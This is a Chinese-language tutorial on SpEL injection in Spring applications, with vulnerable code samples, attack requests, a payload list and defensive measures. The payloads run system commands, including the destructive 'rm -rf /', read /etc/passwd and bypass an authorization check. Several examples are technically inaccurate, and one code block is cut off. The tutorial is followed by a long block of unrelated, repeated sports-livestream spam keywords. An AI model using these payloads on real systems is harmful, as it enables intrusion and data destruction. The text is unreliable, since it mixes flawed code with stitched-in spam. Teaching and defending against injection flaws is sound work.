SpEL注入案例
SpEL(Spring Expression Language)注入是一种严重的安全漏洞,攻击者可以通过未经过滤的用户输入执行任意表达式,以下是详细的案例分析:

案例1:基本SpEL注入
漏洞代码:
@RestController
public class ExpressionController {
@GetMapping("/evaluate")
public String evaluateExpression(@RequestParam String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
return exp.getValue().toString();
}
}
攻击示例:
GET /evaluate?expression=T(java.lang.Runtime).getRuntime().exec('calc')
案例2:基于注解的SpEL注入
漏洞代码:
@Component
public class SecurityConfig {
@Value("#{${user.role}}")
private String role;
@GetMapping("/admin")
public String adminPage(@RequestParam String role) {
// 如果role动态注入
return role;
}
}
攻击示例:
POST /admin
Content-Type: application/x-www-form-urlencoded
role=T(java.lang.Runtime).getRuntime().exec('rm -rf /')
案例3:模板中的SpEL注入
漏洞代码(Thymeleaf模板):
<div th:text="${__${param.expression}__}">
默认文本
</div>
攻击示例:
GET /page?expression=T(java.lang.Runtime).getRuntime().exec('ls')
案例4:XML配置中的SpEL注入
漏洞配置:
<bean id="userService" class="com.example.UserService">
<property name="role" value="#{systemProperties['${user.role}']}"/>
</bean>
攻击方式:
POST /api/user
Content-Type: application/json
{
"role": "T(java.lang.Runtime).getRuntime().exec('id')"
}
案例5:Spring Data MongoDB中的SpEL注入
漏洞代码:
@Query("{ 'name': ?0 }")
List<User> findByName(@Param("0") String name);
攻击示例:
GET /users?name=#{T(java.lang.Runtime).getRuntime().exec('whoami')}
案例6:自定义SpEL Usage
漏洞代码:
@Component
public class CustomExpressionEvaluator {
private final ExpressionParser parser = new SpelExpressionParser();
public Object evaluateUserExpression(String userExpression) {
// 直接评估用户提供的表达式
return parser.parseExpression(userExpression).getValue();
}
}
攻击示例:
// 用户输入
String userInput = "new java.io.File('/etc/passwd').text";
// 执行结果可能返回文件内容
案例7:基于Spring Security的SpEL注入
漏洞代码:
@PreAuthorize("hasRole('" + userRole + "')")
public void sensitiveOperation() {
// 敏感操作
}
攻击示例:
userRole = "ADMIN') or 1=1 or ('"
常见攻击Payloads
-
获取系统属性:
T(java.lang.System).getProperty('os.name') -
执行系统命令:
T(java.lang.Runtime).getRuntime().exec('ls -la') -
读取文件:
new java.io.File('/etc/passwd').text -
反射调用:
T(java.lang.String).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null) -
使用ProcessBuilder:
new java.lang.ProcessBuilder('ls').start()
防护措施
-
输入验证和过滤:
public class SafeExpressionEvaluator { private static final Set<String> WHITELIST = Set.of("name", "age", "email"); public Object safeEval(String expression) { if (!WHITELIST.contains(expression)) { throw new SecurityException("Invalid expression"); } // 安全评估 return evaluationContext.getVariable(expression); } } -
使用SimpleEvaluationContext:
public static class SpelUtil { public static Object evaluateSafeExpression(String expression) { ExpressionParser parser = new SpelExpressionParser(); // 限制SpEL功能 EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); return parser.parseExpression(expression).getValue(context); } } -
参数化查询:
// 不安全的做法 String query = "SELECT * FROM users WHERE name = '" + userInput + "'";
// 安全的做法
@Query("SELECT u FROM User u WHERE u.name = :name")
List
4. **使用白名单:**
```java
private static final Pattern SAFE_PATTERN = Pattern.compile("^[a-zA-Z0-9_]+$");
public boolean isSafeExpression(String expression) {
return SAFE_PATTERN.matcher(expression).matches();
}
- 禁用SpEL:
@Value("#{'${property}'}") // 改为 @Value("${property}")
检测与修复建议
-
代码审计:
- 搜索所有SpEL使用场景
- 检查用户输入是否直接进入SpEL解析
- 验证评估上下文是否限制
-
安全测试:
- 使用自动化工具扫描
- 手动测试边界条件
- 执行渗透测试
-
修复优先级:
- 高:直接用户输入控制SpEL
- 中:动态属性值整合
- 低:静态表达式评估
SpEL注入漏洞通常出现在以下场景:
- 用户输入直接作为表达式解析
- 动态构建属性值
- 反射调用未受限
- 评估上下文过于宽松
通过输入验证、使用限制性上下文、参数化查询和最小权限原则可以有效防范此类攻击。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播